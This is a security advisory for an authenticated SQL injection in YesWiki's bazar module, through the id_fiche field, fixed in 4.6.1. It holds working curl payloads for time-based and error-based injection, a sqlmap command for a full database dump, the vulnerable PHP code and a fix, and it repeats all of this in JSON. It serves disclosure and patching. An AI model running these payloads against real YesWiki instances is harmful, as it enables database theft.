GHSA-F58V-P6J9-24C2

Vulnerability from github – Published: 2026-04-18 01:00 – Updated: 2026-04-18 01:00
VLAI?
Summary
YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()
Details

Vulnerability Details

YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['id_fiche'] value (sourced from $_POST['id_fiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization.

Vulnerable Code (EntryManager.php:704):

$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $data['id_fiche'] . "'"
);

Attack Path: 1. Attacker authenticates as any user (route requires acl:{"+"}) 2. POST /api/entries/{formId} with id_fiche=' OR SLEEP(3) OR ' 3. ApiController::createEntry() checks isEntry($_POST['id_fiche']) → false (not existing entry) → calls create() 4. create()formatDataBeforeSave() → SQL injection at line 704

dbService->loadSingle() passes raw string to mysqli_query() with no escaping. The escape() method exists but is NOT called here.

Docker PoC confirmation: - Normal query: SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'2024-01-01 00:00:00 - Injected: WHERE tag='' OR SLEEP(3) OR ''elapsed: 3.00s (SLEEP confirmed) - Time-based blind SQLi enables full database dump via binary search

Steps to Reproduce

Prerequisites: Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.

Step 1 – Obtain session cookie (standard login via web UI or API)

Step 2 – Time-based blind SQLi (confirm vulnerability):

curl -s -X POST 'http://TARGET/?api/entries/1' \
  -H 'Cookie: wikini_session=<SESSION>' \
  -d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '"

→ Response delays ~3 seconds confirming SQL injection.

Step 3 – Error-based SQLi (version exfil):

curl -s -X POST 'http://TARGET/?api/entries/1' \
  -H 'Cookie: wikini_session=<SESSION>' \
  -d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -"

→ Returns MySQL version in XPATH error: XPATH syntax error: '~8.4.8'

Step 4 – Full dump via sqlmap:

sqlmap -u 'http://TARGET/?api/entries/1' \
  --data "antispam=1&bf_titre=T&id_fiche=test" \
  -p id_fiche --cookie "wikini_session=<SESSION>" \
  --dbms=MySQL --technique=BET --level=2

Docker PoC Output (confirmed)

[STEP 1] Normal input: Result (2024-01-01 00:00:00)
[STEP 2] id_fiche=' OR SLEEP(3) OR '  → Elapsed: 3.00s ← SLEEP(3) CONFIRMED
[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -
         DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'")

Root Cause

In tools/bazar/services/EntryManager.php line 704:

$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $data['id_fiche'] . "'"
);

$data['id_fiche'] comes from $_POST['id_fiche'] (user input). DbService::escape() exists but is not called here. loadSingle() passes the raw string directly to mysqli_query().

Proposed Fix

Replace the vulnerable line with parameterized query or call $this->dbService->escape():

$tag = $this->dbService->escape($data['id_fiche']);
$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $tag . "'"
);

PoC Screenshot

PoC: SLEEP(3) confirmed + MySQL version exfil

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:00:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\nYesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data[\u0027id_fiche\u0027]` value (sourced from `$_POST[\u0027id_fiche\u0027]`) is concatenated directly into a raw SQL query without any sanitization or parameterization.\n\n**Vulnerable Code (EntryManager.php:704):**\n```php\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $data[\u0027id_fiche\u0027] . \"\u0027\"\n);\n```\n\n**Attack Path:**\n1. Attacker authenticates as any user (route requires `acl:{\"+\"}`)\n2. POST `/api/entries/{formId}` with `id_fiche=\u0027 OR SLEEP(3) OR \u0027`\n3. `ApiController::createEntry()` checks `isEntry($_POST[\u0027id_fiche\u0027])` \u2192 false (not existing entry) \u2192 calls `create()`\n4. `create()` \u2192 `formatDataBeforeSave()` \u2192 SQL injection at line 704\n\n**`dbService-\u003eloadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.**\n\n**Docker PoC confirmation:**\n- Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag=\u0027TestEntry\u0027` \u2192 `2024-01-01 00:00:00`\n- Injected: `WHERE tag=\u0027\u0027 OR SLEEP(3) OR \u0027\u0027` \u2192 **elapsed: 3.00s (SLEEP confirmed)**\n- Time-based blind SQLi enables full database dump via binary search\n\n## Steps to Reproduce\n\n**Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.\n\n**Step 1 \u2013 Obtain session cookie** (standard login via web UI or API)\n\n**Step 2 \u2013 Time-based blind SQLi (confirm vulnerability):**\n```bash\ncurl -s -X POST \u0027http://TARGET/?api/entries/1\u0027 \\\n  -H \u0027Cookie: wikini_session=\u003cSESSION\u003e\u0027 \\\n  -d \"antispam=1\u0026bf_titre=TestTitle\u0026id_fiche=\u0027 OR SLEEP(3) OR \u0027\"\n```\n\u2192 Response delays ~3 seconds confirming SQL injection.\n\n**Step 3 \u2013 Error-based SQLi (version exfil):**\n```bash\ncurl -s -X POST \u0027http://TARGET/?api/entries/1\u0027 \\\n  -H \u0027Cookie: wikini_session=\u003cSESSION\u003e\u0027 \\\n  -d \"antispam=1\u0026bf_titre=TestTitle\u0026id_fiche=\u0027 AND extractvalue(1,concat(0x7e,@@version))-- -\"\n```\n\u2192 Returns MySQL version in XPATH error: `XPATH syntax error: \u0027~8.4.8\u0027`\n\n**Step 4 \u2013 Full dump via sqlmap:**\n```bash\nsqlmap -u \u0027http://TARGET/?api/entries/1\u0027 \\\n  --data \"antispam=1\u0026bf_titre=T\u0026id_fiche=test\" \\\n  -p id_fiche --cookie \"wikini_session=\u003cSESSION\u003e\" \\\n  --dbms=MySQL --technique=BET --level=2\n```\n\n## Docker PoC Output (confirmed)\n```\n[STEP 1] Normal input: Result (2024-01-01 00:00:00)\n[STEP 2] id_fiche=\u0027 OR SLEEP(3) OR \u0027  \u2192 Elapsed: 3.00s \u2190 SLEEP(3) CONFIRMED\n[STEP 3] id_fiche=\u0027 AND extractvalue(1,concat(0x7e,@@version))-- -\n         DB_ERROR: (1105, \"XPATH syntax error: \u0027~8.4.8\u0027\")\n```\n\n## Root Cause\n\nIn `tools/bazar/services/EntryManager.php` line 704:\n```php\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $data[\u0027id_fiche\u0027] . \"\u0027\"\n);\n```\n`$data[\u0027id_fiche\u0027]` comes from `$_POST[\u0027id_fiche\u0027]` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`.\n\n## Proposed Fix\n\nReplace the vulnerable line with parameterized query or call `$this-\u003edbService-\u003eescape()`:\n```php\n$tag = $this-\u003edbService-\u003eescape($data[\u0027id_fiche\u0027]);\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $tag . \"\u0027\"\n);\n```\n\n## PoC Screenshot\n\n![PoC: SLEEP(3) confirmed + MySQL version exfil](https://raw.githubusercontent.com/n0z0/cve-evidence/main/2026-04/20260401_133905_2bc5340f9be9_yeswiki_sqli_sleep3_confirmed_20260401_133745.png)",
  "id": "GHSA-f58v-p6j9-24c2",
  "modified": "2026-04-18T01:00:30Z",
  "published": "2026-04-18T01:00:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-f58v-p6j9-24c2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…